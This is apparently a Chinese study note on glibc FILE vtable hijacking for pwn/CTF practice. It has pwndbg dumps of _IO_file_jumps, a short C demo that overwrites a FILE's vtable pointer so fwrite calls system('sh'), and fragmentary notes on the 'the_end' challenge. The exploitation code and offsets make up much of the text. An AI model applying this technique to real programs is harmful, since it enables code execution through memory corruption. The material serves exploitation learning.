伪造vtable
理解了上面的原因就会晓得,攻击的原理就是伪造vtable的函数指针,当io操作调用里面的函数的时候,就会调用到我们自己伪造的函数
伪造分两种
1. 伪造部分指针,vtable不变,只是改写里面的特定指针,通过任意地址写可以实现
2. 伪造全部vtable,将vtable的指针覆盖指向我们控制的内存,在可控内存中布置函数指针
基础
vtable的地址: 64下对于_IO_FILE_plus 的偏移是0xd8
1 2
| pwndbg> p sizeof(struct _IO_FILE) $2 = 216 (0xd8)
|
printf会调用vtable中的xsputn,对应第8项
1 2 3 4 5 6 7 8 9
| pwndbg> tele 0x7ffff7dd06e0 00:0000│ 0x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x0 01:0008│ 0x7ffff7dd06e8 (_IO_file_jumps+8) ◂— 0x0 02:0010│ 0x7ffff7dd06f0 (_IO_file_jumps+16) —▸ 0x7ffff7a869d0 (_IO_file_finish) ◂— push rbx 03:0018│ 0x7ffff7dd06f8 (_IO_file_jumps+24) —▸ 0x7ffff7a87740 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi] 04:0020│ 0x7ffff7dd0700 (_IO_file_jumps+32) —▸ 0x7ffff7a874b0 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi] 05:0028│ 0x7ffff7dd0708 (_IO_file_jumps+40) —▸ 0x7ffff7a88610 (_IO_default_uflow) ◂— mov rax, qword ptr [rdi + 0xd8] 06:0030│ 0x7ffff7dd0710 (_IO_file_jumps+48) —▸ 0x7ffff7a89990 (_IO_default_pbackfail) ◂— push r15 07:0038│ 0x7ffff7dd0718 (_IO_file_jumps+56) —▸ 0x7ffff7a861f0 (_IO_file_xsputn) ◂— xor eax, eax
|
案例
wiki上的例子就是第一种伪造,vtable不变,只是修改特定指针,但是目前流行的libc版本都不行了,例如libc2.23(已经过时了..) vtable所在地址就已经不可写
下面看第二种例子,伪造全部vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8);
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=&system;
fwrite("hi",2,1,fp); }
|
因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入 _IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
1 2 3 4 5 6 7 8 9
| ► 0x7ffff7a7b7c8 <fwrite+182> call qword ptr [rax + 0x38] <_IO_file_xsputn> rdi: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84 rsi: 0x7fffffffe1a0 ◂— 'modified content: thisisatest\n' rdx: 0x1e rcx: 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84
► 0x7ffff7a7eab6 <fwrite+182> call qword ptr [rax + 0x38] <system@plt>
*RDI 0x602010 ◂— 0xfb006873
|
the_end
1337到底是啥。。为啥经常出现。。
这个续表是什么呢?
咋只用给的libc。so呢,和ld
上面那三个应该是对象实例的指针
从map开始,是啥呢,反正是bss段了,可写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| pwndbg> tele 0x7ffff7a0d000+0x3c56f8 00:0000│ 0x7ffff7dd26f8 (_IO_2_1_stdout_+216) —▸ 0x7ffff7dd06e0 (_IO_file_jumps) ◂— 0x0 01:0008│ 0x7ffff7dd2700 (stderr) —▸ 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2086 02:0010│ 0x7ffff7dd2708 (stdout+2726106872) —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2a84 03:0018│ 0x7ffff7dd2710 (stdin) —▸ 0x7ffff7dd18e0 (_IO_2_1_stdin_) ◂— 0xfbad2088 04:0020│ 0x7ffff7dd2718 (DW.ref.__gcc_personality_v0) —▸ 0x7ffff7a2db80 (__gcc_personality_v0) ◂— sub rsp, 0x28 05:0028│ 0x7ffff7dd2720 (map) ◂— 0x0 ... ↓ 2 skipped pwndbg> 08:0040│ 0x7ffff7dd2738 (__printf_va_arg_table) ◂— 0x0 ... ↓ 7 skipped pwndbg> 10:0080│ 0x7ffff7dd2778 (buffer) ◂— 0x0 ... ↓ 7 skipped pwndbg> 18:00c0│ 0x7ffff7dd27b8 (buffer) ◂— 0x0 ... ↓ 7 skipped pwndbg> 20:0100│ 0x7ffff7dd27f8 (buffer) ◂— 0x0 ... ↓ 7 skipped pwndbg> 28:0140│ 0x7ffff7dd2838 (buffer) ◂— 0x0 ... ↓ 7 skipped pwndbg> 30:0180│ 0x7ffff7dd2878 (domain) ◂— 0x0 ... ↓ 7 skipped pwndbg> 38:01c0│ 0x7ffff7dd28b8 (__stop___libc_freeres_ptrs) ◂— 0x0 ... ↓ 7 skipped pwndbg> 40:0200│ 0x7ffff7dd28f8 (release_handle) ◂— 0x0
|
在虚表附近找可读可写的地方,伪造vtable,相差别太大,两字节正合适,可以修改到这里
也可以打其他的指针 dlfini
https://xz.aliyun.com/t/3255#toc-13 这个exp是可以的呀!